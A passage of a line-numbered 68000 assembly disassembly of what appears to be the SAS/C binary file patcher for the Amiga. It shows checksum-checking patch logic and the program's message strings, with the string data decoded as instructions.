  569.     MOVE.B    D0,D1            ;05F8: 1200
  570.     MOVE.L    D1,D0            ;05FA: 2001
  571.     LEA    350(A4),A0        ;05FC: 41EC015E
  572.     BSR    LAB_0240        ;0600: 610020D2
  573. LAB_0043:
  574.     ADDQ.L    #1,D7            ;0604: 5287
  575. LAB_0044:
  576.     CMP.L    400(A7),D7        ;0606: BEAF0190
  577.     BCS.S    LAB_0040        ;060A: 65A8
  578.     BRA    LAB_0058        ;060C: 600001A4
  579. LAB_0045:
  580.     MOVE.L    400(A7),D4        ;0610: 282F0190
  581.     BRA    LAB_0057        ;0614: 60000196
  582. LAB_0046:
  583.     MOVEA.L    A3,A0            ;0618: 204B
  584.     BSR    LAB_0250        ;061A: 61002228
  585.     SUBQ.L    #1,D4            ;061E: 5384
  586.     MOVE.L    412(A7),D7        ;0620: 2E2F019C
  587.     MOVE.B    D0,420(A7)        ;0624: 1F4001A4
  588.     BTST    #7,D0            ;0628: 08000007
  589.     BEQ.S    LAB_0049        ;062C: 674E
  590.     MOVEQ    #31,D1            ;062E: 721F
  591.     AND.B    D0,D1            ;0630: C200
  592.     MOVEQ    #0,D5            ;0632: 7A00
  593.     MOVE.B    D1,D5            ;0634: 1A01
  594.     BTST    #6,D0            ;0636: 08000006
  595.     BEQ.S    LAB_0047        ;063A: 6708
  596.     MOVEQ    #114,D1            ;063C: 7272
  597.     MOVE.B    D1,420(A7)        ;063E: 1F4101A4
  598.     BRA.S    LAB_004A        ;0642: 6062
  599. LAB_0047:
  600.     BTST    #5,D0            ;0644: 08000005
  601.     BEQ.S    LAB_0048        ;0648: 672A
  602.     MOVEA.L    A2,A0            ;064A: 204A
  603.     BSR    LAB_0250        ;064C: 610021F6
  604.     MOVE.L    D5,D1            ;0650: 2205
  605.     ADD.B    D0,D1            ;0652: D200
  606.     SUBI.B    #$10,D1            ;0654: 04010010
  607.     MOVEQ    #0,D0            ;0658: 7000
  608.     MOVE.B    D1,D0            ;065A: 1001
  609.     ADD.L    D0,D6            ;065C: DC80
  610.     SUBQ.L    #1,D7            ;065E: 5387
  611.     MOVEQ    #0,D2            ;0660: 7400
  612.     MOVE.B    D1,D2            ;0662: 1401
  613.     MOVE.L    D7,412(A7)        ;0664: 2F47019C
  614.     MOVE.L    D2,D0            ;0668: 2002
  615.     MOVEA.L    A5,A0            ;066A: 204D
  616.     BSR    LAB_0240        ;066C: 61002066
  617.     BRA    LAB_0057        ;0670: 6000013A
  618. LAB_0048:
  619.     MOVE.B    #$75,420(A7)        ;0674: 1F7C007501A4
  620.     BRA.S    LAB_004A        ;067A: 602A
  621. LAB_0049:
  622.     MOVEA.L    A3,A0            ;067C: 204B
  623.     BSR    LAB_0250        ;067E: 610021C4
  624.     MOVE.L    D0,D5            ;0682: 2A00
  625.     SUBQ.L    #1,D4            ;0684: 5384
  626.     BEQ.S    LAB_004A        ;0686: 671E
  627.     MOVEQ    #0,D0            ;0688: 7000
  628.     MOVE.B    420(A7),D0        ;068A: 102F01A4
  629.     LEA    45(A4),A0        ;068E: 41EC002D
  630.     BTST    #1,0(A0,D0.L)        ;0692: 083000010800
  631.     BNE.S    LAB_004A        ;0698: 660C
  632.     MOVEA.L    A3,A0            ;069A: 204B
  633.     BSR    LAB_0250        ;069C: 610021A6
  634.     ASL.L    #8,D5            ;06A0: E185
  635.     ADD.L    D0,D5            ;06A2: DA80
  636.     SUBQ.L    #1,D4            ;06A4: 5384
  637. LAB_004A:
  638.     MOVEQ    #0,D0            ;06A6: 7000
  639.     MOVE.B    420(A7),D0        ;06A8: 102F01A4
  640.     TST.L    D0            ;06AC: 4A80
  641.     BEQ    LAB_0057        ;06AE: 670000FC
  642.     MOVEQ    #67,D1            ;06B2: 7243
  643.     SUB.L    D1,D0            ;06B4: 9081
  644.     BEQ.S    LAB_004B        ;06B6: 6732
  645.     SUBQ.L    #1,D0            ;06B8: 5380
  646.     BEQ    LAB_0055        ;06BA: 670000C6
  647.     SUBQ.L    #5,D0            ;06BE: 5B80
  648.     BEQ    LAB_0052        ;06C0: 6700008A
  649.     MOVEQ    #9,D1            ;06C4: 7209
  650.     SUB.L    D1,D0            ;06C6: 9081
  651.     BEQ.S    LAB_0051        ;06C8: 6778
  652.     SUBQ.L    #1,D0            ;06CA: 5380
  653.     BEQ.S    LAB_0050        ;06CC: 6768
  654.     SUBQ.L    #2,D0            ;06CE: 5580
  655.     BEQ.S    LAB_004D        ;06D0: 6730
  656.     MOVEQ    #20,D1            ;06D2: 7214
  657.     SUB.L    D1,D0            ;06D4: 9081
  658.     BEQ.S    LAB_0052        ;06D6: 6774
  659.     MOVEQ    #9,D1            ;06D8: 7209
  660.     SUB.L    D1,D0            ;06DA: 9081
  661.     BEQ.S    LAB_0051        ;06DC: 6764
  662.     SUBQ.L    #1,D0            ;06DE: 5380
  663.     BEQ.S    LAB_0050        ;06E0: 6754
  664.     SUBQ.L    #2,D0            ;06E2: 5580
  665.     BEQ.S    LAB_004D        ;06E4: 671C
  666.     BRA    LAB_0056        ;06E6: 600000AE
  667. LAB_004B:
  668.     CMP.L    D6,D5            ;06EA: BA86
  669.     BEQ.S    LAB_004C        ;06EC: 670E
  670.     BSR    LAB_00D0        ;06EE: 6100066E
  671.     PEA    LAB_007E(PC)        ;06F2: 487A0296
  672.     BSR    LAB_00DF        ;06F6: 6100075C
  673.     ADDQ    #4,A7            ;06FA: 584F
  674. LAB_004C:
  675.     MOVEQ    #0,D6            ;06FC: 7C00
  676.     BRA    LAB_0057        ;06FE: 600000AC
  677. LAB_004D:
  678.     MOVE.L    D7,D0            ;0702: 2007
  679.     SUB.L    D5,D0            ;0704: 9085
  680.     MOVEQ    #0,D7            ;0706: 7E00
  681.     MOVE.L    D0,412(A7)        ;0708: 2F40019C
  682.     BRA.S    LAB_004F        ;070C: 6022
  683. LAB_004E:
  684.     MOVEA.L    A2,A0            ;070E: 204A
  685.     BSR    LAB_0250        ;0710: 61002132
  686.     MOVEQ    #0,D1            ;0714: 7200
  687.     MOVE.B    D0,D1            ;0716: 1200
  688.     MOVE.B    D0,36(A7)        ;0718: 1F400024
  689.     MOVE.L    D1,D0            ;071C: 2001
  690.     MOVEA.L    A5,A0            ;071E: 204D
  691.     BSR    LAB_0240        ;0720: 61001FB2
  692.     MOVE.B    36(A7),D0        ;0724: 102F0024
  693.     MOVEQ    #0,D1            ;0728: 7200
  694.     MOVE.B    D0,D1            ;072A: 1200
  695.     ADD.L    D1,D6            ;072C: DC81
  696.     ADDQ.L    #1,D7            ;072E: 5287
  697. LAB_004F:
  698.     CMP.L    D5,D7            ;0730: BE85
  699.     BCS.S    LAB_004E        ;0732: 65DA
  700.     BRA.S    LAB_0057        ;0734: 6076
  701. LAB_0050:
  702.     MOVE.L    D5,D0            ;0736: 2005
  703.     MOVEA.L    A2,A0            ;0738: 204A
  704.     MOVEQ    #1,D1            ;073A: 7201
  705.     BSR    LAB_00D1        ;073C: 61000652
  706.     BRA.S    LAB_0057        ;0740: 606A
  707. LAB_0051:
  708.     MOVE.L    D5,D0            ;0742: 2005
  709.     MOVEA.L    A2,A0            ;0744: 204A
  710.     MOVEQ    #1,D1            ;0746: 7201
  711.     BSR    LAB_00D1        ;0748: 61000646
  712. LAB_0052:
  713.     MOVE.L    D7,D0            ;074C: 2007
  714.     SUB.L    D5,D0            ;074E: 9085
  715.     SUB.L    D5,D4            ;0750: 9885
  716.     MOVEQ    #0,D7            ;0752: 7E00
  717.     MOVE.L    D0,412(A7)        ;0754: 2F40019C
  718.     BRA.S    LAB_0054        ;0758: 6022
  719. LAB_0053:
  720.     MOVEA.L    A3,A0            ;075A: 204B
  721.     BSR    LAB_0250        ;075C: 610020E6
  722.     MOVEQ    #0,D1            ;0760: 7200
  723.     MOVE.B    D0,D1            ;0762: 1200
  724.     MOVE.B    D0,36(A7)        ;0764: 1F400024
  725.     MOVE.L    D1,D0            ;0768: 2001
  726.     MOVEA.L    A5,A0            ;076A: 204D
  727.     BSR    LAB_0240        ;076C: 61001F66
  728.     MOVE.B    36(A7),D0        ;0770: 102F0024
  729.     MOVEQ    #0,D1            ;0774: 7200
  730.     MOVE.B    D0,D1            ;0776: 1200
  731.     ADD.L    D1,D6            ;0778: DC81
  732.     ADDQ.L    #1,D7            ;077A: 5287
  733. LAB_0054:
  734.     CMP.L    D5,D7            ;077C: BE85
  735.     BCS.S    LAB_0053        ;077E: 65DA
  736.     BRA.S    LAB_0057        ;0780: 602A
  737. LAB_0055:
  738.     CMP.L    D6,D5            ;0782: BA86
  739.     BEQ.S    LAB_0057        ;0784: 6726
  740.     BSR    LAB_00D0        ;0786: 610005D6
  741.     PEA    LAB_0084(PC)        ;078A: 487A021A
  742.     BSR    LAB_00DF        ;078E: 610006C4
  743.     ADDQ    #4,A7            ;0792: 584F
  744.     BRA.S    LAB_0057        ;0794: 6016
  745. LAB_0056:
  746.     MOVEQ    #0,D0            ;0796: 7000
  747.     MOVE.B    420(A7),D0        ;0798: 102F01A4
  748.     MOVE.L    D0,-(A7)        ;079C: 2F00
  749.     PEA    LAB_008A(PC)        ;079E: 487A023A
  750.     BSR    LAB_023C        ;07A2: 61001EDE
  751.     BSR    LAB_00AE        ;07A6: 6100036C
  752.     ADDQ    #8,A7            ;07AA: 504F
  753. LAB_0057:
  754.     TST.L    D4            ;07AC: 4A84
  755.     BGT    LAB_0046        ;07AE: 6E00FE68
  756. LAB_0058:
  757.     LEA    396(A7),A0        ;07B2: 41EF018C
  758.     MOVEA.L    A3,A1            ;07B6: 224B
  759.     MOVEQ    #8,D0            ;07B8: 7008
  760.     MOVEQ    #1,D1            ;07BA: 7201
  761.     BSR    LAB_027B        ;07BC: 610023CE
  762.     SUBQ.L    #1,D0            ;07C0: 5380
  763.     BEQ    LAB_0039        ;07C2: 6700FCEE
  764.     MOVEA.L    A2,A0            ;07C6: 204A
  765.     BSR    LAB_0299        ;07C8: 610025FE
  766.     MOVEA.L    A3,A0            ;07CC: 204B
  767.     BSR    LAB_0299        ;07CE: 610025F8
  768.     MOVEA.L    A5,A0            ;07D2: 204D
  769.     BSR    LAB_0299        ;07D4: 610025F2
  770.     TST.L    412(A7)            ;07D8: 4AAF019C
  771.     BNE.S    LAB_0059        ;07DC: 6608
  772.     MOVE.L    416(A7),D0        ;07DE: 202F01A0
  773.     CMP.L    D6,D0            ;07E2: B086
  774.     BEQ.S    LAB_005A        ;07E4: 6712
  775. LAB_0059:
  776.     BSR    LAB_00D0        ;07E6: 61000576
  777.     PEA    LAB_0084(PC)        ;07EA: 487A01BA
  778.     BSR    LAB_00DF        ;07EE: 61000664
  779.     BSR    LAB_00AE        ;07F2: 61000320
  780.     ADDQ    #4,A7            ;07F6: 584F
  781. LAB_005A:
  782.     MOVEA.L    752(A4),A0        ;07F8: 206C02F0
  783.     LEA    672(A4),A1        ;07FC: 43EC02A0
  784.     BSR    LAB_00B7        ;0800: 61000352
  785.     LEA    672(A4),A0        ;0804: 41EC02A0
  786.     MOVE.L    A0,D1            ;0808: 2208
  787.     MOVE.L    168(A7),D2        ;080A: 242F00A8
  788.     MOVEA.L    17356(A4),A6        ;080E: 2C6C43CC
  789.     JSR    -186(A6)        ;0812: 4EAEFF46
  790.     MOVEA.L    752(A4),A0        ;0816: 206C02F0
  791.     BSR    LAB_0310        ;081A: 61002D9C
  792.     MOVEQ    #0,D0            ;081E: 7000
  793.     BSR    LAB_0233        ;0820: 61001D9A
  794.     MOVEM.L    (A7)+,D2/D4-D7/A2-A3/A5-A6 ;0824: 4CDF6CF4
  795.     ADDA    #$0184,A7        ;0828: DEFC0184
  796.     MOVEQ    #0,D0            ;082C: 7000
  797.     RTS                ;082E: 4E75
  798.     MOVEA.L    (A6),A2            ;0830: 2456
  799.     DC.W    $4552            ;0832
  800.     MOVE    -(A0),D5        ;0834: 3A20
  801.     SUBQ    #1,D1            ;0836: 5341
  802.     SUBQ.B    #1,17247(A7)        ;0838: 532F435F
  803.     SUBQ    #1,(A0)            ;083C: 5350
  804.     BSR.S    LAB_0064        ;083E: 6174
  805.     BLS.S    LAB_0063        ;0840: 6368
  806.     DC.W    $2036            ;0842
  807.     MOVE.L    32(A5,D3.W),D7        ;0844: 2E353020
  808.     DC.W    $2832            ;0848
  809.     MOVE    14382(A6),D3        ;084A: 362E382E
  810.     DC.W    $3933            ;084E
  811.     MOVE.L    D0,-(A4)        ;0850: 2900
  812. LAB_005B:
  813.     MOVEQ    #98,D1            ;0852: 7262
  814.     DC.W    $0000            ;0854
  815. LAB_005C:
  816.     DC.W    $6669            ;0856
  817.     DC.W    $6C65            ;0858
  818.     MOVE.L    -(A5),D0        ;085A: 2025
  819.     DC.W    $7320            ;085C
  820.     DC.W    $6E6F            ;085E
  821.     MOVEQ    #32,D2            ;0860: 7420
  822.     DC.W    $666F            ;0862
  823.     DC.W    $756E            ;0864
  824.     BCC.S    LAB_005F        ;0866: 640A
  825.     DC.W    $0000            ;0868
  826. LAB_005D:
  827.     DC.W    $2E70            ;086A
  828.     BLS.S    LAB_0066        ;086C: 6368
  829.     DC.W    $0000            ;086E
  830. LAB_005E:
  831.     DC.W    $2E6E            ;0870
  832. LAB_005F:
  833.     DC.W    $6577            ;0872
  834.     DC.W    $0000            ;0874
  835. LAB_0060:
  836.     DC.W    $7762            ;0876
  837.     DC.W    $0000            ;0878
  838. LAB_0061:
  839.     DC.W    $6361            ;087A
  840.     DC.W    $6E27            ;087C
  841.     MOVEQ    #32,D2            ;087E: 7420
  842.     BLE.S    LAB_0067        ;0880: 6F70
  843.     BCS.S    LAB_0067        ;0882: 656E
  844.     MOVE.L    -(A5),D0        ;0884: 2025
  845.     DC.W    $7320            ;0886
  846.     DC.W    $666F            ;0888
  847.     MOVEQ    #32,D1            ;088A: 7220
  848.     DC.W    $6F75            ;088C
  849.     MOVEQ    #112,D2            ;088E: 7470
  850.     DC.W    $7574            ;0890
  851.     DC.W    $0A00            ;0892
  852. LAB_0062:
  853.     ADDQ    #2,25888(A0)        ;0894: 54686520
  854.     DC.W    $6669            ;0898
  855.     DC.W    $6C65            ;089A
  856.     MOVE.L    -(A7),D0        ;089C: 2027
  857.     DC.W    $2573            ;089E
  858.     MOVE.L    -(A0),-(A3)        ;08A0: 2720
  859.     DC.W    $6973            ;08A2
  860.     MOVEA.L    28532(A6),A0        ;08A4: 206E6F74
  861.     MOVEA.L    -(A1),A0        ;08A8: 2061
  862. LAB_0063:
  863.     DC.W    $2076            ;08AA
  864.     BSR.S    LAB_006D        ;08AC: 616C
  865.     BVS.S    LAB_006B        ;08AE: 6964
  866.     MOVEA.L    A1,A0            ;08B0: 2049
  867.     NOT    D6            ;08B2: 4646
  868. LAB_0064:
  869.     MOVEA.L    (A0),A0            ;08B4: 2050
  870.     ADDQ    #2,D3            ;08B6: 5443
  871.     NBCD    -(A0)            ;08B8: 4820
  872.     DC.W    $666F            ;08BA
  873.     MOVEQ    #109,D1            ;08BC: 726D
  874.     BSR.S    LAB_0070        ;08BE: 6174
  875.     DC.W    $2070            ;08C0
  876.     BSR.S    LAB_0072        ;08C2: 6174
  877.     BLS.S    LAB_006E        ;08C4: 6368
  878.     MOVEA.L    -(A6),A0        ;08C6: 2066
  879.     BVS.S    LAB_0071        ;08C8: 696C
  880.     BCS.S    LAB_0068        ;08CA: 652E
  881.     DC.W    $0A00            ;08CC
  882. LAB_0065:
  883.     DC.W    $5468            ;08CE
  884.     DC.W    $6973            ;08D0
  885.     DC.W    $2070            ;08D2
  886.     BSR.S    LAB_0075        ;08D4: 6174
  887. LAB_0066:
  888.     BLS.S    LAB_0074        ;08D6: 6368
  889.     DC.W    $206E            ;08D8
  890.     DC.W    $6565            ;08DA
  891.     DC.W    $6473            ;08DC
  892.     MOVEA.L    -(A1),A0        ;08DE: 2061
  893.     DC.W    $206E            ;08E0
  894.     DC.W    $6577            ;08E2
  895.     BCS.S    LAB_0076        ;08E4: 6572
  896.     DC.W    $2076            ;08E6
  897.     BCS.S    LAB_0077        ;08E8: 6572
  898.     DC.W    $7369            ;08EA
  899.     BLE.S    LAB_0077        ;08EC: 6F6E
  900.     MOVEA.L    26144(A7),A0        ;08EE: 206F6620
  901. LAB_0067:
  902.     MOVEQ    #104,D2            ;08F2: 7468
  903.     BCS.S    LAB_006C        ;08F4: 6520
  904.     ADDQ    #8,D1            ;08F6: 5041
  905.     ADDQ    #2,D3            ;08F8: 5443
  906. LAB_0068:
  907.     NBCD    -(A0)            ;08FA: 4820
  908.     MOVEQ    #114,D0            ;08FC: 7072
  909.     DC.W    $6F67            ;08FE
  910.     MOVEQ    #97,D1            ;0900: 7261
  911.     BLT.S    LAB_006A        ;0902: 6D0A
  912.     DC.W    $0000            ;0904
  913. LAB_0069:
  914.     BVS.S    LAB_007B        ;0906: 696E
  915.     MOVEA.L    29284(A7),A0        ;0908: 206F7264
  916.     BCS.S    LAB_007D        ;090C: 6572
  917. LAB_006A:
  918.     DC.W    $2074            ;090E
  919.     BLE.S    LAB_006F        ;0910: 6F20
  920.     MOVEQ    #117,D1            ;0912: 7275
  921. LAB_006B:
  922.     BGT.S    LAB_0071        ;0914: 6E20
  923. LAB_006C:
  924.     BVS.S    LAB_007F        ;0916: 6974
  925.     MOVE.L    -(A0),D7        ;0918: 2E20
  926. LAB_006D:
  927.     MOVEA.L    A1,A0            ;091A: 2049
  928.     MOVEQ    #32,D2            ;091C: 7420
  929.     DC.W    $7761            ;091E
  930.     DC.W    $7320            ;0920
  931.     BLS.S    LAB_0080        ;0922: 6372
  932.     DC.W    $6561            ;0924
  933.     MOVEQ    #101,D2            ;0926: 7465
  934.     BCC.S    LAB_0075        ;0928: 6420
  935.     DC.W    $7769            ;092A
  936.     MOVEQ    #104,D2            ;092C: 7468
  937. LAB_006E:
  938.     DC.W    $2076            ;092E
  939.     BCS.S    LAB_0083        ;0930: 6572
  940. LAB_006F:
  941.     DC.W    $7369            ;0932
  942. LAB_0070:
  943.     BLE.S    LAB_0083        ;0934: 6F6E
  944. LAB_0071:
  945.     MOVE.L    -(A5),D0        ;0936: 2025
  946. LAB_0072:
  947.     BCC.S    LAB_0079        ;0938: 642E
  948.     MOVE.L    -(A4),2560(A2)        ;093A: 25640A00
  949. LAB_0073:
  950.     DC.W    $496E            ;093E
  951. LAB_0074:
  952.     DC.W    $636F            ;0940
  953.     MOVEQ    #114,D1            ;0942: 7272
  954.     DC.W    $6563            ;0944
  955.     MOVEQ    #32,D2            ;0946: 7420
  956.     MOVEQ    #101,D3            ;0948: 7665
  957. LAB_0075:
  958.     MOVEQ    #115,D1            ;094A: 7273
  959.     DC.W    $696F            ;094C
  960.     BGT.S    LAB_007A        ;094E: 6E20
  961.     BLE.S    LAB_0086        ;0950: 6F66
  962.     DC.W    $206F            ;0952
  963.     MOVEQ    #105,D1            ;0954: 7269
  964.     DC.W    $6769            ;0956
  965. LAB_0076:
  966.     DC.W    $6E61            ;0958
  967.     BGE.S    LAB_007C        ;095A: 6C20
  968. LAB_0077:
  969.     DC.W    $6669            ;095C
  970.     DC.W    $6C65            ;095E
  971.     MOVE.L    A2,D7            ;0960: 2E0A
  972.     DC.W    $0000            ;0962
  973. LAB_0078:
  974.     DC.W    $5468            ;0964
  975.     DC.W    $6973            ;0966
  976. LAB_0079:
  977.     DC.W    $2070            ;0968
  978.     BSR.S    LAB_008B        ;096A: 6174
  979.     BLS.S    LAB_0089        ;096C: 6368
  980.     MOVEA.L    -(A3),A0        ;096E: 2063
  981. LAB_007A:
  982.     BSR.S    LAB_008B        ;0970: 616E
  983.     MOVEA.L    28532(A6),A0        ;0972: 206E6F74
  984. LAB_007B:
  985.     MOVEA.L    -(A2),A0        ;0976: 2062
  986.     BCS.S    LAB_0081        ;0978: 6520
  987.     BSR.S    LAB_008D        ;097A: 6170
  988. LAB_007C:
  989.     MOVEQ    #108,D0            ;097C: 706C
  990.     DC.W    $6965            ;097E
  991. LAB_007D:
  992.     BCC.S    LAB_0082        ;0980: 6420
  993.     MOVEQ    #111,D2            ;0982: 746F
  994.     MOVEA.L    29706(A1),A0        ;0984: 2069740A
  995.     DC.W    $0000            ;0988
  996. LAB_007E:
  997.     DC.W    $496E            ;098A
  998. LAB_007F:
  999.     BVS.S    LAB_008F        ;098C: 6974
  1000.     DC.W    $6961            ;098E
  1001.     BGE.S    LAB_0085        ;0990: 6C20
  1002.     DC.W    $4368            ;0992
  1003.     DC.W    $6563            ;0994
  1004. LAB_0080:
  1005.     DC.W    $6B73            ;0996
  1006.     DC.W    $756D            ;0998
  1007. LAB_0081:
  1008.     MOVEA.L    A1,A0            ;099A: 2049
  1009.     DC.W    $6E63            ;099C
  1010.     BLE.S    LAB_0090+2        ;099E: 6F72
  1011.     MOVEQ    #101,D1            ;09A0: 7265
  1012. LAB_0082:
  1013.     BLS.S    LAB_0092        ;09A2: 6374
  1014. LAB_0083:
  1015.     DC.W    $0A00            ;09A4
  1016. LAB_0084:
  1017.     DC.W    $4669            ;09A6
  1018.     DC.W    $6E61            ;09A8
  1019.     BGE.S    LAB_0087        ;09AA: 6C20
  1020.     MOVEQ    #97,D0            ;09AC: 7061
  1021.     MOVEQ    #99,D2            ;09AE: 7463
  1022.     DC.W    $6865            ;09B0
  1023. LAB_0085:
  1024.     BCC.S    LAB_0088        ;09B2: 6420
  1025.     DC.W    $6669            ;09B4
  1026.     DC.W    $6C65            ;09B6
  1027. LAB_0086:
  1028.     MOVEA.L    -(A6),A0        ;09B8: 2066
  1029.     DC.W    $6169            ;09BA
  1030.     DC.W    $6C73            ;09BC
  1031.     MOVEA.L    -(A3),A0        ;09BE: 2063
  1032.     DC.W    $6865            ;09C0
  1033.     DC.W    $636B            ;09C2
  1034.     DC.W    $7375            ;09C4
  1035.     BLT.S    LAB_008C        ;09C6: 6D20
  1036.     BSR.S    LAB_0094        ;09C8: 616E
  1037.     BCC.S    LAB_008D        ;09CA: 6420
  1038. LAB_0087:
  1039.     DC.W    $6973            ;09CC
  1040.     MOVEA.L    28278(A1),A0        ;09CE: 20696E76
  1041.     BSR.S    LAB_0096+2        ;09D2: 616C
  1042. LAB_0088:
  1043.     BVS.S    LAB_0095        ;09D4: 6964
  1044. LAB_0089:
  1045.     MOVE.L    A2,D7            ;09D6: 2E0A
  1046.     DC.W    $0000            ;09D8
  1047. LAB_008A:
  1048.     SUBQ    #2,27502(A6)        ;09DA: 556E6B6E
  1049.     DC.W    $6F77            ;09DE
  1050. LAB_008B:
  1051.     BGT.S    LAB_008F        ;09E0: 6E20
  1052.     ADDQ    #8,(A3)            ;09E2: 5053
  1053.     DC.W    $4551            ;09E4
  1054.     MOVEA.L    -(A3),A0        ;09E6: 2063
  1055. LAB_008C:
  1056.     DC.W    $6F6D            ;09E8
  1057.     DC.W    $6D61            ;09EA
  1058. LAB_008D:
  1059.     BGT.S    LAB_0099        ;09EC: 6E64
  1060.     MOVE.L    -(A5),D0        ;09EE: 2025
  1061.     MOVEQ    #10,D4            ;09F0: 780A
  1062.     DC.W    $0000            ;09F2
  1063. LAB_008E:
  1064.     SUBQ    #1,D1            ;09F4: 5341
  1065.     SUBQ.B    #1,-(A0)        ;09F6: 5320
  1066.     DC.W    $4269            ;09F8
  1067.     DC.W    $6E61            ;09FA
  1068.     MOVEQ    #121,D1            ;09FC: 7279
  1069.     MOVEA.L    D6,A0            ;09FE: 2046
  1070.     BVS.S    LAB_009D        ;0A00: 696C
  1071. LAB_008F:
  1072.     BCS.S    LAB_0093        ;0A02: 6520
  1073.     ADDQ    #8,-(A1)        ;0A04: 5061
  1074.     MOVEQ    #99,D2            ;0A06: 7463
  1075.     DC.W    $6865            ;0A08
  1076.     MOVEQ    #32,D1            ;0A0A: 7220
  1077.     ADDQ.B    #3,-(A5)        ;0A0C: 5625
  1078.     BCC.S    LAB_0096        ;0A0E: 642E
  1079. LAB_0090:
  1080.     MOVE.L    -(A4),2560(A2)        ;0A10: 25640A00
  1081. LAB_0091:
  1082.     DC.W    $436F            ;0A14
  1083.     MOVEQ    #121,D0            ;0A16: 7079
  1084. LAB_0092:
  1085.     MOVEQ    #105,D1            ;0A18: 7269
  1086.     BEQ.S    LAB_009F        ;0A1A: 6768
  1087.     MOVEQ    #32,D2            ;0A1C: 7420
  1088.     DC.W    $A920            ;0A1E
  1089.     DC.W    $3139            ;0A20
  1090.     DC.W    $3932            ;0A22
  1091. LAB_0093:
  1092.     MOVEA.L    (A3),A0            ;0A24: 2053
  1093.     DC.W    $4153            ;0A26
  1094.     MOVEA.L    A1,A0            ;0A28: 2049
  1095.     DC.W    $6E73            ;0A2A
  1096.     MOVEQ    #105,D2            ;0A2C: 7469
  1097.     MOVEQ    #117,D2            ;0A2E: 7475
  1098.     MOVEQ    #101,D2            ;0A30: 7465
  1099.     MOVE.L    -(A0),D6        ;0A32: 2C20
  1100.     DC.W    $496E            ;0A34
  1101.     BLS.S    LAB_009C        ;0A36: 632E
  1102. LAB_0094:
  1103.     DC.W    $0A20            ;0A38
  1104. LAB_0095:
  1105.     DC.W    $416C            ;0A3A
  1106.     BGE.S    LAB_009B        ;0A3C: 6C20
  1107. LAB_0096:
  1108.     ADDQ    #1,26472(A1)        ;0A3E: 52696768
  1109.     MOVEQ    #115,D2            ;0A42: 7473
  1110.     MOVEA.L    (A2),A0            ;0A44: 2052
  1111.     DC.W    $6573            ;0A46
  1112.     BCS.S    LAB_00A3        ;0A48: 6572
  1113.     MOVEQ    #101,D3            ;0A4A: 7665
  1114.     BCC.S    LAB_009A        ;0A4C: 640A
  1115.     DC.W    $0000            ;0A4E
  1116. LAB_0098:
  1117.     DC.W    $466F            ;0A50
  1118. LAB_0099:
  1119.     MOVEQ    #109,D1            ;0A52: 726D
  1120.     BSR.S    LAB_00A4        ;0A54: 6174
  1121.     MOVE    A2,D5            ;0A56: 3A0A
  1122. LAB_009A:
  1123.     MOVE.L    -(A0),D0        ;0A58: 2020
  1124.     DC.W    $2073            ;0A5A
  1125.     MOVEQ    #97,D0            ;0A5C: 7061
  1126. LAB_009B:
  1127.     MOVEQ    #99,D2            ;0A5E: 7463
  1128.     BVC.S    LAB_009E        ;0A60: 6820
  1129.     SUBQ.B    #5,28527(A5)        ;0A62: 5B2D6F6F
  1130. LAB_009C:
  1131.     DC.W    $7574            ;0A66
  1132.     MOVEQ    #117,D0            ;0A68: 7075
  1133.     MOVEQ    #32,D2            ;0A6A: 7420
  1134.     DC.W    $2D70            ;0A6C
  1135. LAB_009D:
  1136.     MOVEQ    #97,D0            ;0A6E: 7061
  1137.     MOVEQ    #99,D2            ;0A70: 7463
  1138.     BVC.S    LAB_00A7        ;0A72: 6866
  1139.     BVS.S    LAB_00A8        ;0A74: 696C
  1140.     DC.W    $655D            ;0A76
  1141.     MOVEA.L    27748(A7),A0        ;0A78: 206F6C64
  1142.     DC.W    $6669            ;0A7C
  1143.     DC.W    $6C65            ;0A7E
  1144.     DC.W    $0A00            ;0A80
  1145. LAB_009E:
  1146.     ADDQ    #8,-(A1)        ;0A82: 5061
  1147. LAB_009F:
  1148.     MOVEQ    #99,D2            ;0A84: 7463
  1149.     BVC.S    LAB_00A0        ;0A86: 6820
  1150.     DC.W    $6661            ;0A88
  1151.     BVS.S    LAB_00AB        ;0A8A: 696C
  1152.     BCS.S    LAB_00AA+2        ;0A8C: 6564
  1153.     MOVE.L    -(A0),D6        ;0A8E: 2C20
  1154.     DC.W    $4669            ;0A90
  1155.     DC.W    $6C65            ;0A92
  1156.     MOVE.L    -(A5),D0        ;0A94: 2025
  1157.     DC.W    $7320            ;0A96
  1158.     DC.W    $6E6F            ;0A98
  1159.     MOVEQ    #32,D2            ;0A9A: 7420
  1160.     BLS.S    LAB_00AC+2        ;0A9C: 6368
  1161.     BSR.S    LAB_00AD+2        ;0A9E: 616E
  1162.     DC.W    $6765            ;0AA0
  1163.     BCC.S    LAB_00A6        ;0AA2: 642E
  1164.     DC.W    $0A48            ;0AA4
  1165.     BVS.S    LAB_00AF        ;0AA6: 6974
  1166. LAB_00A0:
  1167.     MOVEA.L    (A2),A0            ;0AA8: 2052
  1168.     BCS.S    LAB_00B0        ;0AAA: 6574
  1169.     DC.W    $7572            ;0AAC
  1170.     BGT.S    LAB_00A2        ;0AAE: 6E0A
  1171.     DC.W    $0000            ;0AB0
  1172. LAB_00A1:
  1173.     NOT    -(A1)            ;0AB2: 4661
  1174.     BVS.S    LAB_00B0+2        ;0AB4: 696C
  1175.     DC.W    $7572            ;0AB6
  1176.     BCS.S    LAB_00A7        ;0AB8: 6520
  1177. LAB_00A2:
  1178.     DC.W    $636F            ;0ABA
  1179. LAB_00A3:
  1180.     MOVEQ    #121,D0            ;0ABC: 7079
  1181.     BVS.S    LAB_00B2+4        ;0ABE: 696E
  1182.     BEQ.S    LAB_00A8        ;0AC0: 6720
  1183.     MOVEQ    #101,D2            ;0AC2: 7465
  1184.     BLT.S    LAB_00B3        ;0AC4: 6D70
  1185.     DC.W    $6669            ;0AC6
  1186.     DC.W    $6C65            ;0AC8
  1187. LAB_00A4:
  1188.     DC.W    $0A00            ;0ACA
  1189. LAB_00A5:
  1190.     DC.W    $4361            ;0ACC
  1191.     DC.W    $6E27            ;0ACE
  1192.     MOVEQ    #32,D2            ;0AD0: 7420
  1193. LAB_00A6:
  1194.     BLE.S    LAB_00B4        ;0AD2: 6F70
  1195.     BCS.S    LAB_00B4        ;0AD4: 656E
  1196.     MOVEA.L    30068(A7),A0        ;0AD6: 206F7574
  1197. LAB_00A7:
  1198.     MOVEQ    #117,D0            ;0ADA: 7075
  1199.     MOVEQ    #32,D2            ;0ADC: 7420
  1200.     DC.W    $6669            ;0ADE
  1201.     DC.W    $6C65            ;0AE0
  1202. LAB_00A8:
  1203.     MOVE.L    -(A5),D0        ;0AE2: 2025
  1204.     DC.W    $730A            ;0AE4
